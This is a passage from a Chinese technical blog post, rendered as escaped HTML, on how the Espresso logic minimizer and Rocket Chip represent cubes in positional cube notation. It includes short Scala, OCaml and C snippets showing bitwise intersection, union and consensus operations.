class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2&lt;sup&gt;7&lt;&#x2F;sup&gt;-1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个值的输入变量&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;那不是没有输出变量了？画卡诺图时也没有标注哪个是输出——一张卡诺图只有一个输出，只要写出来的输入，就会让输出为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在我们知道了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所处理的数据什么样，可是如何在程序里表示它呢？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Rocket_Chip的表示方法&quot;&gt;Rocket Chip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的表示方法&lt;&#x2F;h2&gt;
&lt;p&gt;Rocker
Chip（RC）中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chipsalliance&#x2F;rocket-chip&#x2F;blob&#x2F;1f05ea88754b421684face06e52260848d27520f&#x2F;src&#x2F;main&#x2F;scala&#x2F;rocket&#x2F;Decode.scala#L59&quot;&gt;Decode.scala&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现了单输出的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Quine–McCluskey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方法。在运行时，RC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;输出的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PLA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拆成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PLA，分别最小化后再合起来。所以它的核心数据结构不需要记录输出部分，仅由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;value&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mask&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;构成：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;scala&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; Term&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; BigInt&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; mask&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; BigInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;&#x2F;* 省略 *&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;当&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mask(i)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时，i&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;变量不存在；&lt;&#x2F;li&gt;
&lt;li&gt;当&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mask(i)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时，i&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;变量是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;value(i)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样很简洁，但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Quine–McCluskey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;本身可以处理多输出的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PLA，结果实现给写死了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Positional_cube_notation&quot;&gt;Positional cube notation&lt;&#x2F;h2&gt;
&lt;p&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的答案是一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;unsigned&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;数组（可以理解成无限长的比特列表&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，输入部分中，每两位比特按下表翻译：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;bits&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: right&quot;&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;00&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;空（出现于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;取交集）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;10&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;false&quot;&gt;\bar{x_i}&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;包含点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;01&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;false&quot;&gt;x_i&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;包含点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;11&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;变量不存在（cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;同时包含点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;输出部分也在同一个数组里面：0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表无和有（在操作时再把整个输出当成一个多值变量&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的处理大多是一个函数两个循环，分别处理布尔变量和多值变量（Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把两比特的变量称为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;binary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;变量。可以理解，但容易和二进制搞混，所以我称它们为布尔变量&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;Alexandre
Janniaux&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OCaml&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso-MV，他的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alexandre-janniaux&#x2F;strongcoffee&#x2F;blob&#x2F;9dfda2c8e65ba33966bf33582a1fbbe442cab6b8&#x2F;espresso-mv&#x2F;MultipleValued.ml#L3-L4&quot;&gt;term&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;如下所示，是布尔值列表的列表。合理怀疑他所用的也是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;positional
cube notation，不过我没细看。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;ocaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; literal_t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; cube_t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; literal_t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;交集、并集&quot;&gt;交集、并集&lt;&#x2F;h3&gt;
&lt;p&gt;Positional cube
notation&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的优势不仅在于可以表示多值变量，还在于操作方式简单：交集和并集就只是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;语言的按位与和按位或。例如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;x_0 x_1 x_2 \cup x_1 \bar{x_2} =
x_1&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;01
01 01 | 11 01 10 = 11 01 11。&lt;&#x2F;p&gt;
&lt;p&gt;与之相比，Rocket Chip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的求并集就要复杂些：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;scala&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;&#x2F;&#x2F; Term类&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; merge&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; Term&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  &#x2F;&#x2F; 省略&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; bit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; value &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; x.value&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; Term&lt;&#x2F;span&gt;&lt;span&gt;(value &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;~&lt;&#x2F;span&gt;&lt;span&gt; bit, mask &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt; bit)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;Consensus&quot;&gt;Consensus&lt;&#x2F;h3&gt;
&lt;p&gt;Positional cube
notation&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;当然不止可以处理简单的交集并集，一个较复杂的例子是用位运算得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;consensus。&lt;&#x2F;p&gt;
&lt;p&gt;两个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;间如果&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个相反的变量，就称它们间的距离为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N。例如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;x_0 x_2
x_4&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;\bar{x_0} x_2
x_3&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;间的距离为一（第一个变量相反&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;Consensus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是删掉相反变量，求剩下的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的交集。同样以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;x_0 x_2
x_4&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;\bar{x_0} x_2
x_3&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为例，它们的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;consensus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;x_2 x_4 \cap x_2 x_3 = x_2 x_3 x_4&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;以下是对布尔变量部分求&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;consensus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的代码，a、b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是输入，r&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是输出：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; w &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; w &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; last&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] =&lt;&#x2F;span&gt;&lt;span&gt; x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ~&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt; x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;55555555&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;        unsigned&lt;&#x2F;span&gt;&lt;span&gt; mask &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;= (&lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; |=&lt;&#x2F;span&gt;&lt;span&gt; mask &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;FFFFFFFF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;~(x | x &amp;gt;&amp;gt; 1) &amp;amp;
0x55555555&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的作用是查看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;间有没有相反的变量，乍看很抽象，但可以枚举所有可能取值来验证：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;表达式&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: right&quot;&gt;无相反变量&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: right&quot;&gt;有相反变量&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;x = a[w] &amp;amp; b[w]&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;01&lt;&#x2F;td&gt;&lt;td&gt;10&lt;&#x2F;td&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;x &amp;gt;&amp;gt; 1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;?0&lt;&#x2F;td&gt;&lt;td&gt;?1&lt;&#x2F;td&gt;&lt;td&gt;?1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;?0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;x | x &amp;gt;&amp;gt; 1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;?1&lt;&#x2F;td&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;?0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;~(x | x &amp;gt;&amp;gt; 1)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;?0&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;?1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;~(x | x &amp;gt;&amp;gt; 1) &amp;amp; 0b01&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;00&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;td&gt;00&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: right&quot;&gt;01&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;可见，只要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;~(x | x &amp;gt;&amp;gt; 1) &amp;amp;
0x55555555&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的值不是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0，就一定有相反变量。之后再用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;x
| (x &amp;lt;&amp;lt; 1)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作为掩码选择那些相反变量：&lt;&#x2F;p&gt;
